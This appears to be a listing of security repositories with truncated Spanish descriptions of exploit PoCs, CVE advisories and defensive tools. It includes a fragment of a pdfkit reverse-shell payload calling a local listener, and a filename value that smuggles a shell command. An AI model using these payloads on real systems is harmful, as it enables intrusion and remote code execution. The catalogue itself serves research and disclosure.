Instagram-Notes-Audio-Leakage-via-URL-Extraction-Fixed

🎙️ Fuga de audio de Notas de Instagram mediante extracción de URL Solucionado y recompensado 🛡️ Resumen de la vulnerabilidad En 05/2025, descubrí una vulnerabilidad en Instagram Web que permitía a cualquier usuario extraer el archivo de video original de una Nota y acceder al audio de fondo , que...

cve-2024-21534

POC - CVE-2024-21534 Jsonpath-plus vulnerable a la Ejecución Remota de Código RCE debido a una sanitización inadecuada de la entrada Resumen CVE-2024-21534 es una vulnerabilidad crítica encontrada en versiones del paquete jsonpath-plus anteriores a la versión 10.0.0. La vulnerabilidad se debe a u...

CVE-2018-7600-Remote-Code-Execution

Exploit de Drupalgeddon2 en Python CVE-2018-7600 Este repositorio contiene un exploit de prueba de concepto basado en Python para la vulnerabilidad crítica de ejecución remota de código en Drupal, conocida como Drupalgeddon2 CVE-2018-7600. Este script está diseñado con fines educativos y para que...

CVE-2023-30547

CVE-2023-30547 Exploit PoC para la vulnerabilidad de escape de sandbox de VM2 alt img Descripción vm2 3.9.17 es vulnerable a la ejecución de código arbitrario debido a una falla en la sanitización de excepciones. Los atacantes pueden explotar esto provocando una excepción de host no sanitizada...

Sooty

Visión general Sooty es una herramienta desarrollada con la tarea de ayudar a los analistas de SOC a automatizar parte de su flujo de trabajo. Uno de los objetivos de Sooty es realizar tantas comprobaciones rutinarias como sea posible, permitiendo al analista más tiempo para un análisis más...

cuFuzz

cuFuzz Este repositorio contiene los artefactos de cuFuzz , un fuzzer guiado por cobertura orientado a GPU para aplicaciones CUDA en espacio de usuario. cuFuzz combina la recopilación de cobertura en el host y en el dispositivo con sanitización para descubrir de forma eficaz errores en programas...

SafeText

SafeText Herramienta para sanear texto y permitir la distribución segura de documentos de fuentes anónimas eliminando caracteres de ancho cero y homoglifos. Las personas que intentan filtrar un correo electrónico u otro archivo de texto corren el riesgo de ser identificadas mediante la toma de...

Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-

Guía de Ejecución de RCE en Webmin 1.580 Referencia rápida para ejecutar Ejecución Remota de Código RCE autenticada en Webmin 1.580 a través del componente /file/show.cgi. 1. Máquina Atacante Receptor Ejecuta este comando en tu máquina local para capturar la conexión entrante antes de ejecutar el...

mapXplore

mapXplore English mapXplore es una aplicación modular, que importa los datos extraidos de sqlmap, a una base de datos postgres o sqlite. Sus principales caracteristicas son: Importación de información extraida de sqlmap a postgres o sqlite para su posterior consulta. Información sanitizada, lo qu...

CVE-2025-56807

CVE-2025-56807 Descripción Se descubrió una vulnerabilidad de Cross Site Scripting XSS almacenado en FairSketch RISE Ultimate Project Manager & CRM v3.9.4 en la funcionalidad del Administrador de archivos. La vulnerabilidad reside en el parámetro title que se envía al crear nuevas carpetas. Debid...

mailenable-cve-2022-36934

MailEnable CVE-2022-36934 Exploit Module Metasploit module for MailEnable's authentication bypass vulnerability CVE-2022-36934, leading to remote code execution. 📌 Features Exploits MailEnable's improper input sanitization in SMTP/POP3 Supports both x86 and x64 Windows targets No user interaction...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 inyección de comandos. El paquete pdfkit es vulnerable a la inyección de comandos cuando la URL no está correctamente sanitizada. Nota: Este problema fue corregido en 0.8.7.2, pero se descubrió que el parche era ineficaz. La versión de parche...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Mediante CURL modificar valores en negrita: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

kalici-dosya-silme-araci

Permanent File Deletion Tool & Kalıcı Dosya Silme Aracı Este proyecto es una herramienta simple que permite a los usuarios eliminar permanentemente archivos específicos. El programa sobrescribe el archivo especificado con datos aleatorios, cambia el contenido del archivo y luego lo elimina,...

java-html-sanitizer

OWASP Java HTML Sanitizer Un sanitizador de HTML rápido y fácil de configurar escrito en Java que te permite incluir HTML generado por terceros en tu aplicación web mientras te proteges contra XSS. La dependencia existente es de JSR 305. Los otros archivos JAR solo son necesarios para el conjunto...

CVE-2025-44148

CVE-2025-44148 - Cross-Site Scripting Reflejado XSS Reflejado Cross-Site Scripting Reflejado XSS en MailEnable Proveedor: MailEnable Pty. Ltd. Versiones Afectadas: 10 Descripción Existe una vulnerabilidad de cross-site scripting reflejado XSS en MailEnable Webmail debido a una sanitización...

POC-CVE-2026-19679

CVE-2026-19679 — sanitización insuficiente de los nombres de archivo subidos validación de entrada Estado: CONFIRMADO en un laboratorio 6.7.2-14.el9 2026-08-20. POST /rest/auditFile con tailoringOriginalFilename = "poc;touch$IFSpoc19679;me.xml" devolvió HTTP 200 y registró AuditFile 1000002: el...

CVE-2022-23861

CVE-2022-23861: Múltiples vulnerabilidades de Cross-Site Scripting almacenado en YSoft SafeQ Múltiples campos en la aplicación web YSoft SafeQ pueden utilizarse para inyectar entradas maliciosas que, debido a la falta de saneamiento de salida, resultan en la ejecución de código JS arbitrario. Est...

CVE-2024-9264-RCE-Exploit

CVE-2024-9264-RCE-Exploit en Grafana mediante expresiones SQL Descripción Prueba de concepto para la ejecución remota de código en Grafana CVE-2024-9264 Este repositorio contiene un script en Python que explota una vulnerabilidad de ejecución remota de código RCE en la función de Expresiones SQL ...

WordPress Copyright Proof <=4.16 - Cross-Site-Scripting

WordPress Copyright Proof plugin 4.16 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users when a specific setting is enabled. id: CVE-2022-1906...